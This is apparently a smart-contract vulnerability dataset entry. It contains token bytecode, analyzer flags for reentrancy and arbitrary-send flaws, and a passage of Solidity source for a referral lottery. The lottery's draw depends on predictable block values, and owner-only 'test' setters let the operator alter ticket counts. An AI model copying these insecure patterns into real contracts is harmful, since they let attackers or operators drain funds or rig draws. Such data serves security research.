ffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117bb57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561186f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561196b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118b56113cd565b73ffffffffffffffffffffffffffffffffffffffff16148061192b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119136113cd565b73ffffffffffffffffffffffffffffffffffffffff16145b61196a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611961906131f4565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a105750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ac45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b1a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b325750600f60179054906101000a900460ff165b15611c075761012c601254611b47919061334a565b421015611c065742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b9957600080fd5b601054811115611ba857600080fd5b6001601154611bb791906133d1565b42611bc2919061334a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000611c123061090e565b9050600f60159054906101000a900460ff16158015611c7f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c975750600f60169054906101000a900460ff165b15611cbf57611ca581611de8565b60004790506000811115611cbd57611cbc47612215565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d685750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d7257600090505b611d7e84848484612310565b50505050565b6000838311158290611dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc39190613052565b60405180910390fd5b5060008385611ddb919061342b565b9050809150509392505050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e46577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e745781602001602082028036833780820191505090505b5090503081600081518110611eb2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5457600080fd5b505afa158015611f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f8c9190612a9e565b81600181518110611fc6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113d5565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209195949392919061322f565b600060405180830381600087803b1580156120ab57600080fd5b505af11580156120bf573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600654821115612129576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212090613094565b60405180910390fd5b600061213361233d565b905061214881846121cb90919063ffffffff16565b915050919050565b60008083141561216357600090506121c5565b6000828461217191906133d1565b905082848261218091906133a0565b146121c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b790613154565b60405180910390fd5b809150505b92915050565b600061220d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612368565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122656002846121cb90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612290573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e16002846121cb90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561230c573d6000803e3d6000fd5b5050565b8061231e5761231d6123cb565b5b6123298484846123fc565b80612337576123366125c7565b5b50505050565b600080600061234a6125d9565b9150915061236181836121cb90919063ffffffff16565b9250505090565b600080831182906123af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a69190613052565b60405180910390fd5b50600083856123be91906133a0565b9050809150509392505050565b60006008541480156123df57506000600954145b156123e9576123fa565b600060088190555060006009819055505b565b60008060008060008061240e8761263b565b95509550955095509550955061246c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061254d8161274b565b6125578483612808565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125b49190613214565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061260f683635c9adc5dea000006006546121cb90919063ffffffff16565b82101561262e57600654683635c9adc5dea00000935093505050612637565b81819350935050505b9091565b60008060008060008060008060006126588a600854600954612842565b925092509250600061266861233d565b9050600080600061267b8e8787876128d8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d84565b905092915050565b60008082846126fc919061334a565b905083811015612741576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612738906130d4565b60405180910390fd5b8091505092915050565b600061275561233d565b9050600061276c828461215090919063ffffffff16565b90506127c081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61281d826006546126a390919063ffffffff16565b600681905550612838816007546126ed90919063ffffffff16565b6007819055505050565b60008060008061286e6064612860888a61215090919063ffffffff16565b6121cb90919063ffffffff16565b90506000612898606461288a888b61215090919063ffffffff16565b6121cb90919063ffffffff16565b905060006128c1826128b3858c6126a390919063ffffffff16565b6126a390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128f1858961215090919063ffffffff16565b90506000612908868961215090919063ffffffff16565b9050600061291f878961215090919063ffffffff16565b905060006129488261293a85876126a390919063ffffffff16565b6126a390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061297461296f846132c9565b6132a4565b9050808382526020820190508285602086028201111561299357600080fd5b60005b858110156129c357816129a988826129cd565b845260208401935060208301925050600181019050612996565b5050509392505050565b6000813590506129dc81613930565b92915050565b6000815190506129f181613930565b92915050565b600082601f830112612a0857600080fd5b8135612a18848260208601612961565b91505092915050565b600081359050612a3081613947565b92915050565b600081519050612a4581613947565b92915050565b600081359050612a5a8161395e565b92915050565b600081519050612a6f8161395e565b92915050565b600060208284031215612a8757600080fd5b6000612a95848285016129cd565b91505092915050565b600060208284031215612ab057600080fd5b6000612abe848285016129e2565b91505092915050565b60008060408385031215612ada57600080fd5b6000612ae8858286016129cd565b9250506020612af9858286016129cd565b9150509250929050565b600080600060608486031215612b1857600080fd5b6000612b26868287016129cd565b9350506020612b37868287016129cd565b9250506040612b4886828701612a4b565b9150509250925092565b60008060408385031215612b6557600080fd5b6000612b73858286016129cd565b9250506020612b8485828601612a4b565b9150509250929050565b600060208284031215612ba057600080fd5b600082013567ffffffffffffffff811115612bba57600080fd5b612bc6848285016129f7565b91505092915050565b600060208284031215612be157600080fd5b6000612bef84828501612a21565b91505092915050565b600060208284031215612c0a57600080fd5b6000612c1884828501612a36565b91505092915050565b600060208284031215612c3357600080fd5b6000612c4184828501612a4b565b91505092915050565b600080600060608486031215612c5f57600080fd5b6000612c6d86828701612a60565b9350506020612c7e86828701612a60565b9250506040612c8f86828701612a60565b9150509250925092565b6000612ca58383612cb1565b60208301905092915050565b612cba8161345f565b82525050565b612cc98161345f565b82525050565b6000612cda82613305565b612ce48185613328565b9350612cef836132f5565b8060005b83811015612d20578151612d078882612c99565b9750612d128361331b565b925050600181019050612cf3565b5085935050505092915050565b612d3681613471565b82525050565b612d45816134b4565b82525050565b6000612d5682613310565b612d608185613339565b9350612d708185602086016134c6565b612d7981613600565b840191505092915050565b6000612d91602383613339565b9150612d9c82613611565b604082019050919050565b6000612db4602a83613339565b9150612dbf82613660565b604082019050919050565b6000612dd7602283613339565b9150612de2826136af565b604082019050919050565b6000612dfa601b83613339565b9150612e05826136fe565b602082019050919050565b6000612e1d601b83613339565b9150612e2882613727565b602082019050919050565b6000612e40601d83613339565b9150612e4b82613750565b602082019050919050565b6000612e63601783613339565b9150612e6e82613779565b602082019050919050565b6000612e86602183613339565b9150612e91826137a2565b604082019050919050565b6000612ea9602083613339565b9150612eb4826137f1565b602082019050919050565b6000612ecc602983613339565b9150612ed78261381a565b604082019050919050565b6000612eef602583613339565b9150612efa82613869565b604082019050919050565b6000612f12602483613339565b9150612f1d826138b8565b604082019050919050565b6000612f35601183613339565b9150612f4082613907565b602082019050919050565b612f548161349d565b82525050565b612f63816134a7565b82525050565b6000602082019050612f7e6000830184612cc0565b92915050565b6000604082019050612f996000830185612cc0565b612fa66020830184612cc0565b9392505050565b6000604082019050612fc26000830185612cc0565b612fcf6020830184612f4b565b9392505050565b600060c082019050612feb6000830189612cc0565b612ff86020830188612f4b565b6130056040830187612d3c565b6130126060830186612d3c565b61301f6080830185612cc0565b61302c60a0830184612f4b565b979650505050505050565b600060208201905061304c6000830184612d2d565b92915050565b6000602082019050818103600083015261306c8184612d4b565b905092915050565b6000602082019050818103600083015261308d81612d84565b9050919050565b600060208201905081810360008301526130ad81612da7565b9050919050565b600060208201905081810360008301526130cd81612dca565b9050919050565b600060208201905081810360008301526130ed81612ded565b9050919050565b6000602082019050818103600083015261310d81612e10565b9050919050565b6000602082019050818103600083015261312d81612e33565b9050919050565b6000602082019050818103600083015261314d81612e56565b9050919050565b6000602082019050818103600083015261316d81612e79565b9050919050565b6000602082019050818103600083015261318d81612e9c565b9050919050565b600060208201905081810360008301526131ad81612ebf565b9050919050565b600060208201905081810360008301526131cd81612ee2565b9050919050565b600060208201905081810360008301526131ed81612f05565b9050919050565b6000602082019050818103600083015261320d81612f28565b9050919050565b60006020820190506132296000830184612f4b565b92915050565b600060a0820190506132446000830188612f4b565b6132516020830187612d3c565b81810360408301526132638186612ccf565b90506132726060830185612cc0565b61327f6080830184612f4b565b9695505050505050565b600060208201905061329e6000830184612f5a565b92915050565b60006132ae6132bf565b90506132ba82826134f9565b919050565b6000604051905090565b600067ffffffffffffffff8211156132e4576132e36135d1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133558261349d565b91506133608361349d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561339557613394613573565b5b828201905092915050565b60006133ab8261349d565b91506133b68361349d565b9250826133c6576133c56135a2565b5b828204905092915050565b60006133dc8261349d565b91506133e78361349d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134205761341f613573565b5b828202905092915050565b60006134368261349d565b91506134418361349d565b92508282101561345457613453613573565b5b828203905092915050565b600061346a8261347d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134bf8261349d565b9050919050565b60005b838110156134e45780820151818401526020810190506134c9565b838111156134f3576000848401525b50505050565b61350282613600565b810181811067ffffffffffffffff82111715613521576135206135d1565b5b80604052505050565b60006135358261349d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561356857613567613573565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4c697175696469747920616c7265616479206164646564000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139398161345f565b811461394457600080fd5b50565b61395081613471565b811461395b57600080fd5b50565b6139678161349d565b811461397257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220faddfbdf8d2efbf69cef557d2fb5c6b95124f9f766555a947370b98e96e1481764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,650 |
0x4Fec101D781716CBFdbb07e6f91f6B66652bb0A6 | pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract LotteryData is Ownable{
address[] public players;
address[] public inviters;
uint256[] public tickets;
uint256[] public miniTickets;
uint256[] public benzTickets;
uint256[] public porscheTickets;
mapping (address => uint256) public playerID;
mapping (address => uint256) public inviterID;
mapping (uint256 => address) public ticketToOwner;
mapping (uint256 => address) public miniToOwner;
mapping (uint256 => address) public benzToOwner;
mapping (uint256 => address) public porscheToOwner;
mapping (address => uint256) ownerTicketCount;
mapping (address => uint256) ownerMiniCount;
mapping (address => uint256) ownerBenzCount;
mapping (address => uint256) ownerPorscheCount;
//Bears prop
mapping (address => address) inviter;//invitee => inviter
mapping (address => uint256) inviteeCount;//邀请总数
mapping (address => uint256) inviteeAccumulator;//邀请总额
mapping (address => uint256) public ownerAccWei;//投资wei总额
mapping (address => uint8) ownerTeam;//0:bull 1:wolf 2:bear
mapping (address => bool) public invalidPlayer;//false:valid true:invalid
mapping (uint256 => bool) internal invalidPhone;
mapping (uint256 => bool) internal invalidMini;
mapping (uint256 => bool) internal invalidBenz;
mapping (uint256 => bool) internal invalidPorsche;
//Prize
uint256[] internal phones;
uint256[] internal phoneType;
uint256 public miniWinner;
uint256 public benzWinner;
uint256 public porscheWinner;
uint256 internal totalWei;
uint256 internal accumulatedWei;
uint256 internal accumulatedPlayer;
uint256 internal accumulatedInvitor;
uint256 public invalidTicketCount;
uint256 public invalidMiniTicketCount;
uint256 public invalidBenzTicketCount;
uint256 public invalidPorscheTicketCount;
//Events
event Invalidate(address player, uint256 soldAmount, address inviter);
event DrawPhone(uint256 id, address luckyOne, uint256 prizeType);
event DrawMini(address luckyOne);
event DrawBenz(address luckyOne);
event DrawPorsche(address luckyOne);
}
contract LotteryExternal is LotteryData{
using SafeMath for uint256;
//ADMIN SET
function setTeamByAddress(uint8 team, address player)
external
onlyOwner
{
ownerTeam[player] = team;
}
//使用户失效
function invalidate(address player, uint256 soldAmount)
external
onlyOwner
{
invalidPlayer[player] = true;
address supernode = inviter[player];
ownerAccWei[player] = ownerAccWei[player].sub(soldAmount);
totalWei = totalWei.sub(soldAmount);
inviteeCount[supernode] = inviteeCount[supernode].sub(1);
inviteeAccumulator[supernode] = inviteeAccumulator[supernode].sub(soldAmount);
invalidTicketCount = invalidTicketCount.add(ownerTicketCount[player]);
invalidMiniTicketCount = invalidMiniTicketCount.add(ownerMiniCount[player]);
invalidBenzTicketCount = invalidBenzTicketCount.add(ownerBenzCount[player]);
invalidPorscheTicketCount = invalidPorscheTicketCount.add(ownerPorscheCount[player]);
desposeBear(supernode);
emit Invalidate(player, soldAmount, supernode);
}
//有人失效后,判断推荐人获得抽奖号资格低于一半时就使抽奖号失效
function desposeBear(address player)
public
onlyOwner
{
uint256 gotTickets = inviteeCount[player].div(10) + ownerAccWei[player].div(10**16);
uint256 gotMTickets = inviteeCount[player].div(100);
uint256 gotBTickets = inviteeCount[player].div(200);
uint256 gotPTickets = inviteeCount[player].div(400);
if(inviteeAccumulator[player].div(10**17)+ownerAccWei[player].div(10**16) >= gotTickets){
gotTickets = inviteeAccumulator[player].div(10**17)+ownerAccWei[player].div(10**16);
}
if(inviteeAccumulator[player].div(((10**18)*5)) >= gotMTickets){
gotMTickets = inviteeAccumulator[player].div(((10**18)*5));
}
if(inviteeAccumulator[player].div(((10**18)*10)) >= gotBTickets){
gotBTickets = inviteeAccumulator[player].div(((10**18)*10));
}
if(inviteeAccumulator[player].div(((10**18)*20)) >= gotPTickets){
gotPTickets = inviteeAccumulator[player].div(((10**18)*20));
}
if(ownerTicketCount[player] > gotTickets){
for (uint8 index = 0; index < getTicketsByOwner(player).length; index++) {
if(invalidPhone[getTicketsByOwner(player)[index]] == false){
invalidPhone[getTicketsByOwner(player)[index]] = true;
break;
}
}
invalidTicketCount = invalidTicketCount.add(ownerTicketCount[player].sub(gotTickets));
}
if(ownerMiniCount[player] > gotMTickets){
for (uint8 miniIndex = 0; miniIndex < getMiniByOwner(player).length; miniIndex++) {
if(invalidPhone[getMiniByOwner(player)[miniIndex]] == false){
invalidPhone[getMiniByOwner(player)[miniIndex]] = true;
break;
}
}
invalidMiniTicketCount = invalidMiniTicketCount.add(ownerMiniCount[player].sub(gotMTickets));
}
if(ownerBenzCount[player] > gotBTickets){
for (uint8 benzIndex = 0; benzIndex < getBenzByOwner(player).length; benzIndex++) {
if(invalidPhone[getBenzByOwner(player)[benzIndex]] == false){
invalidPhone[getBenzByOwner(player)[benzIndex]] = true;
break;
}
}
invalidBenzTicketCount = invalidBenzTicketCount.add(ownerBenzCount[player].sub(gotBTickets));
}
if(ownerPorscheCount[player] > gotPTickets){
for (uint8 porsIndex = 0; porsIndex < getPorscheByOwner(player).length; porsIndex++) {
if(invalidPhone[getPorscheByOwner(player)[porsIndex]] == false){
invalidPhone[getPorscheByOwner(player)[porsIndex]] = true;
break;
}
}
invalidPorscheTicketCount = invalidPorscheTicketCount.add(ownerPorscheCount[player].sub(gotPTickets));
}
}
//获取用户所有手机抽奖码
function getTicketsByOwner(address _owner)
public
view
returns(uint[])
{
uint[] memory result = new uint[](ownerTicketCount[_owner]);
uint counter = 0;
for (uint i = 0; i < tickets.length; i++) {
if (ticketToOwner[i] == _owner) {
result[counter] = i + 1;
counter++;
}
}
return result;
}
//获取用户mini抽奖码
function getMiniByOwner(address _owner)
public
view
returns(uint[])
{
uint[] memory result = new uint[](ownerMiniCount[_owner]);
uint counter = 0;
for (uint i = 0; i < miniTickets.length; i++) {
if (miniToOwner[i] == _owner) {
result[counter] = i + 1;
counter++;
}
}
return result;
}
//获取用户benz抽奖码
function getBenzByOwner(address _owner)
public
view
returns(uint[])
{
uint[] memory result = new uint[](ownerBenzCount[_owner]);
uint counter = 0;
for (uint i = 0; i < benzTickets.length; i++) {
if (benzToOwner[i] == _owner) {
result[counter] = i + 1;
counter++;
}
}
return result;
}
//获取用户porsche抽奖码
function getPorscheByOwner(address _owner)
public
view
returns(uint[])
{
uint[] memory result = new uint[](ownerPorscheCount[_owner]);
uint counter = 0;
for (uint i = 0; i < porscheTickets.length; i++) {
if (porscheToOwner[i] == _owner) {
result[counter] = i + 1;
counter++;
}
}
return result;
}
function getPrizes()
external
view
returns (uint256[])
{
return phones;
}
function getPlayerInfo(address player)
external
view
returns(uint256, uint, bool, address, uint256, uint256)
{
return(
ownerAccWei[player],
ownerTeam[player],
invalidPlayer[player],
//Just For Bears
inviter[player],
inviteeCount[player],
inviteeAccumulator[player]
);
}
function getAccumulator()
external
view
returns(uint256, uint256, uint256, uint256)
{
return(totalWei, accumulatedWei, accumulatedPlayer, accumulatedInvitor);
}
function getRate()
external
view
returns(uint256, uint256, uint256, uint256)
{
return (
tickets.length - invalidTicketCount,
miniTickets.length - invalidMiniTicketCount,
benzTickets.length - invalidBenzTicketCount,
porscheTickets.length - invalidPorscheTicketCount
);
}
}
contract LotteryDraw is LotteryExternal{
//增加抽奖号
function createTicket(address player, uint count)
public
onlyOwner
{
for(uint i = 0;i < count;i++){
uint256 ticket = tickets.push(tickets.length+1)-1;
ticketToOwner[ticket] = player;
ownerTicketCount[player] = ownerTicketCount[player].add(1);
}
}
//增加Mini抽奖号
function createMiniTicket(address player, uint count)
public
onlyOwner
{
for(uint i = 0;i < count;i++){
uint256 ticket = miniTickets.push(miniTickets.length+1)-1;
miniToOwner[ticket] = player;
ownerMiniCount[player] = ownerMiniCount[player].add(1);
}
}
//增加Benz抽奖号
function createBenzTicket(address player, uint count)
public
onlyOwner
{
for(uint i = 0;i < count;i++){
uint256 ticket = benzTickets.push(benzTickets.length+1)-1;
benzToOwner[ticket] = player;
ownerBenzCount[player] = ownerBenzCount[player].add(1);
}
}
//增加Porsche抽奖号
function createPorscheTicket(address player, uint count)
public
onlyOwner
{
for(uint i = 0;i < count;i++){
uint256 ticket = porscheTickets.push(porscheTickets.length+1)-1;
porscheToOwner[ticket] = player;
ownerPorscheCount[player] = ownerPorscheCount[player].add(1);
}
}
//Draw
function drawPhone()
external
onlyOwner
returns (bool)
{
uint256 lucky = luckyOne(tickets.length);
if(invalidPlayer[ticketToOwner[lucky]] == true) {
return false;
}
else if(invalidPhone[lucky] == true){
return false;
}
else{
phones.push(lucky);
uint256 prizeType = luckyOne(3);
phoneType.push(prizeType);
emit DrawPhone(phones.length, ticketToOwner[lucky], prizeType);
return true;
}
}
function drawMini()
external
onlyOwner
returns (bool)
{
uint256 lucky = luckyOne(miniTickets.length);
if(invalidPlayer[miniToOwner[lucky]] == true) {
return false;
}else if(invalidMini[lucky] == true){
return false;
}
else{
miniWinner = lucky;
emit DrawMini(miniToOwner[lucky]);
return true;
}
}
function drawBenz()
external
onlyOwner
returns (bool)
{
uint256 lucky = luckyOne(benzTickets.length);
if(invalidPlayer[benzToOwner[lucky]] == true) {
return false;
}else if(invalidBenz[lucky] == true){
return false;
}
else{
benzWinner = lucky;
emit DrawBenz(benzToOwner[lucky]);
return true;
}
}
function drawPorsche()
external
onlyOwner
returns (bool)
{
uint256 lucky = luckyOne(porscheTickets.length);
if(invalidPlayer[porscheToOwner[lucky]] == true) {
return false;
}else if(invalidPorsche[lucky] == true){
return false;
}
else{
porscheWinner = lucky;
emit DrawPorsche(porscheToOwner[lucky]);
return true;
}
}
//For testing the random function
function rollIt()
public
onlyOwner
returns (bool)
{
uint256 lucky = luckyOne(tickets.length);
if(invalidPlayer[ticketToOwner[lucky]] == true) {
return false;
}else{
phones.push(lucky);
return true;
}
}
function luckyOne(uint256 candidate)
public
view
returns (uint256)
{
uint256 seed = uint256(
keccak256(
abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
uint256 lucky = seed % candidate;
return lucky;
}
}
contract Lottery is LotteryDraw{
using SafeMath for uint256;
//Test
function setInviteeAccumulator(address player, uint256 amount)
external
onlyOwner
{
inviteeAccumulator[player] = amount;
updateBearCount(player);
}
function setInviteeCount(address player, uint256 count)
external
onlyOwner
{
inviteeCount[player] = count;
updateBearCount(player);
}
//ADMIN SET
function setTeamByAddress(uint8 team, address player)
external
onlyOwner
{
ownerTeam[player] = team;
}
//更新用户累计购买以太
function updatePlayerEth(address player,uint256 weiAmount, address supernode)
external
onlyOwner
returns (uint256)
{
if(playerID[player] == 0){
accumulatedPlayer = accumulatedPlayer.add(1);
playerID[player] = accumulatedPlayer;
}
ownerAccWei[player] = ownerAccWei[player].add(weiAmount);
totalWei = totalWei.add(weiAmount);
accumulatedWei = accumulatedWei.add(weiAmount);
//为邀请人增加
inviter[player] = supernode;
inviteeCount[supernode] = inviteeCount[supernode].add(1);
inviteeAccumulator[supernode] = inviteeAccumulator[supernode].add(weiAmount);
if(inviterID[supernode] == 0){
accumulatedInvitor = accumulatedInvitor.add(1);
inviterID[supernode] = accumulatedInvitor;
}
if(ownerTeam[player] == 0) {
//牛队
uint256 gotMTickets = ownerAccWei[player].div(10**18);
uint256 gotBTickets = ownerAccWei[player].div(10**18).div(2);
uint256 gotPTickets = ownerAccWei[player].div(10**18).div(5);
createMiniTicket(player, gotMTickets - ownerMiniCount[player]);
createBenzTicket(player, gotBTickets - ownerBenzCount[player]);
createPorscheTicket(player, gotPTickets - ownerPorscheCount[player]);
}else if(ownerTeam[player] == 1) {
//狼队//龙队
uint256 gotTickets = ownerAccWei[player].div(10**16);
createTicket(player, gotTickets - ownerTicketCount[player]);
}
if(ownerTeam[player] == 2){
uint256 gotPhones = ownerAccWei[player].div(10**16);
createTicket(player, gotPhones - ownerTicketCount[player]);
updateBearCount(player);
}
return ownerAccWei[player];
}
function updateBearCount(address player)
public
onlyOwner
{
if(ownerAccWei[player] < 10**16){
return;
}
uint256 gotTickets = inviteeCount[player].div(10) + ownerAccWei[player].div(10**16);
uint256 gotMTickets = inviteeCount[player].div(100);
